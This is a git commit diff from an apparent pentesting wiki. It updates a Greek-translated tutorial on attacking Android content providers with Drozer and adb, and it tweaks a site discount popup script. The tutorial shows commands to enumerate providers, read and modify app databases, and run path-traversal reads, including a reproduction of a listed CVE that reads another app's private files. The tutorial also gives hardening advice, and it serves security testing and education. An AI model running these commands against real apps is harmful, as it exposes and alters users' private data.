Translated ['src/mobile-pentesting/android-app-pentesting/drozer-tutoria

This commit is contained in:
Translator 2025-07-16 12:10:14 +00:00
parent c11d9a3f49
commit 16259c1ad5
2 changed files with 98 additions and 20 deletions

View File

@ -4,7 +4,7 @@
## Intro
Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που είναι γνωστό ως **content provider**. Αυτά τα αιτήματα διαχειρίζονται μέσω των μεθόδων της **ContentResolver class**. Οι content providers μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία**, ή μέσω ενός **δικτύου**.
Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που ονομάζεται **content provider**. Αυτά τα αιτήματα διαχειρίζονται μέσω των μεθόδων της **ContentResolver class**. Οι content providers μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία**, ή μέσω ενός **δικτύου**.
Στο αρχείο _Manifest.xml_, η δήλωση του content provider είναι απαραίτητη. Για παράδειγμα:
```xml
@ -38,9 +38,9 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον **DBContentProvider** ξεκινώντας τα URIs με “_content://_”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου κρίσιμες πληροφορίες βρίσκονταν στον _/Keys_ κατάλογο.
Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον **DBContentProvider** ξεκινώντας τις URIs με “_content://_”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου οι βασικές πληροφορίες βρίσκονταν στον _/Keys_ κατάλογο.
Ο Drozer μπορεί να **μαντέψει και να δοκιμάσει αρκετά URIs**:
Ο Drozer μπορεί να **μαντέψει και να δοκιμάσει πολλές URIs**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
@ -87,7 +87,7 @@ email: incognitoguy50@gmail.com
```
### Εισαγωγή περιεχομένου
Quering the database you will learn the **όνομα των στηλών**, then, you could be able to insert data in the DB:
Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:
![](<../../../images/image (98).png>)
@ -97,7 +97,7 @@ _Note that in insert and update you can use --string to indicate string, --doubl
### Ενημέρωση περιεχομένου
Knowing the name of the columns you could also **τροποποιήσετε τις καταχωρίσεις**:
Knowing the name of the columns you could also **modify the entries**:
![](<../../../images/image (780).png>)
@ -145,27 +145,27 @@ android_metadata
notes
sqlite_sequence
```
## **Προμηθευτές Περιεχομένου με Υποστήριξη Συστήματος Αρχείων**
## **Content Providers με υποστήριξη συστήματος αρχείων**
Οι προμηθευτές περιεχομένου μπορούν επίσης να χρησιμοποιηθούν για **πρόσβαση σε αρχεία:**
Οι content providers μπορούν επίσης να χρησιμοποιηθούν για **πρόσβαση σε αρχεία:**
![](<../../../images/image (407).png>)
### Ανάγνωση **αρχείου**
Μπορείτε να διαβάσετε αρχεία από τον Προμηθευτή Περιεχομένου
Μπορείτε να διαβάσετε αρχεία από τον Content Provider
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το "_../_" και παρόμοια κόλπα).
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε ένα Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το "_../_" και παρόμοια κόλπα).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Αυτόματη ανακάλυψη διαδρομής Traversal από το Drozer**
**Αυτόματη ανακάλυψη διαδρομών Path Traversal από το Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
@ -173,10 +173,62 @@ Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## 2023-2025 Ενημερώσεις & Σύγχρονες Συμβουλές
### Drozer 3.x (Python 3) είναι διαθέσιμο
Η WithSecure επανέλαβε τη συντήρηση του drozer το 2022 και μετέφερε το πλαίσιο σε **Python 3** (τελευταία **3.1.0 Απρίλιος 2024**).
Εκτός από τις διορθώσεις συμβατότητας, νέα modules που είναι ιδιαίτερα χρήσιμα όταν εργάζεστε με Content Providers περιλαμβάνουν:
* `scanner.provider.exported` καταγράψτε μόνο τους providers με `android:exported="true"`.
* `app.provider.grant` καλέστε αυτόματα το `grantUriPermission()` ώστε να μπορείτε να επικοινωνείτε με providers που αναμένουν `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` σε Android 12+.
* Καλύτερη διαχείριση του **Scoped Storage** ώστε οι file-based providers σε Android 11+ να είναι ακόμα προσβάσιμοι.
Αναβάθμιση (host & agent):
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### Χρησιμοποιώντας τον ενσωματωμένο βοηθό `cmd content` (ADB ≥ 8.0)
Όλες οι σύγχρονες συσκευές Android διαθέτουν μια CLI που μπορεί να ερωτήσει/ενημερώσει τους παρόχους **χωρίς να εγκαταστήσει κανέναν πράκτορα**:
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
Συνδυάστε το με `run-as <pkg>` ή ένα rooted shell για να δοκιμάσετε τους εσωτερικούς μόνο παρόχους.
### Πρόσφατα πραγματικά CVEs που εκμεταλλεύτηκαν τους Παρόχους Περιεχομένου
| CVE | Έτος | Συστατικό | Κατηγορία σφάλματος | Επιπτώσεις |
|-----|------|-----------|---------------------|------------|
| CVE-2024-43089 | 2024 | MediaProvider | Διαδρομή πρόσβασης σε `openFile()` | Αυθαίρετη ανάγνωση αρχείων από την ιδιωτική αποθήκευση οποιασδήποτε εφαρμογής |
| CVE-2023-35670 | 2023 | MediaProvider | Διαδρομή πρόσβασης | Αποκάλυψη πληροφοριών |
Αναδημιουργήστε το CVE-2024-43089 σε μια ευάλωτη έκδοση:
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### Λίστα ελέγχου ενίσχυσης για API 30+
* Δηλώστε `android:exported="false"` εκτός αν ο πάροχος **πρέπει** να είναι δημόσιος από το API 31 το χαρακτηριστικό είναι υποχρεωτικό.
* Επιβάλετε **δικαιώματα** και/ή `android:grantUriPermissions="true"` αντί να εξάγετε ολόκληρο τον πάροχο.
* Λευκή λίστα επιτρεπόμενων παραμέτρων `projection`, `selection` και `sortOrder` (π.χ. δημιουργήστε ερωτήματα με `SQLiteQueryBuilder.setProjectionMap`).
* Στο `openFile()` κανονικοποιήστε τη ζητούμενη διαδρομή (`FileUtils`) και απορρίψτε τις ακολουθίες `..` για να αποτρέψετε την περιήγηση.
* Όταν εκθέτετε αρχεία προτιμήστε το **Storage Access Framework** ή έναν `FileProvider`.
Αυτές οι αλλαγές στις πρόσφατες εκδόσεις Android σημαίνουν ότι πολλές κληρονομημένες εκμεταλλευτικές αρχές εξακολουθούν να λειτουργούν, αλλά απαιτούν επιπλέον σημαίες/δικαιώματα που τα ενημερωμένα modules του drozer ή ο βοηθός `cmd content` μπορούν να εφαρμόσουν αυτόματα.
## Αναφορές
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,9 +4,10 @@
(() => {
const KEY = 'htSummerDiscountDismissed';
const IMG = '/images/discount.jpeg';
const TXT = 'HT Summer Discount, Last Days!';
const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
/* Stop if user already dismissed */
if (localStorage.getItem(KEY) === 'true') return;
@ -32,13 +33,37 @@
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (separate, over image) --- */
/* --- Title bar (link + close) --- */
const titleBar = $('div', `
padding: 1rem; text-align: center;
position: relative;
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
`);
titleBar.textContent = TXT;
const link = $('a', `
color: inherit;
text-decoration: none;
display: block;
`);
link.href = URL;
link.target = '_blank';
link.rel = 'noopener noreferrer';
link.textContent = TXT;
titleBar.appendChild(link);
/* Close "X" (no persistence) */
const closeBtn = $('button', `
position: absolute; top: .25rem; right: .5rem;
background: transparent; border: none;
color: #fff; font-size: 1.4rem; line-height: 1;
cursor: pointer; padding: 0; margin: 0;
`);
closeBtn.setAttribute('aria-label', 'Close');
closeBtn.textContent = '✕';
closeBtn.onclick = () => overlay.remove();
titleBar.appendChild(closeBtn);
/* --- Image --- */
const img = $('img');
@ -62,14 +87,15 @@
modal.append(titleBar, img, label);
overlay.appendChild(modal);
(document.readyState === 'loading'
? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true })
: () => document.body.appendChild(overlay))();
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
} else {
document.body.appendChild(overlay);
}
})();
/**
* HackTricks AI Chat Widget v1.16 resizable sidebar
* ---------------------------------------------------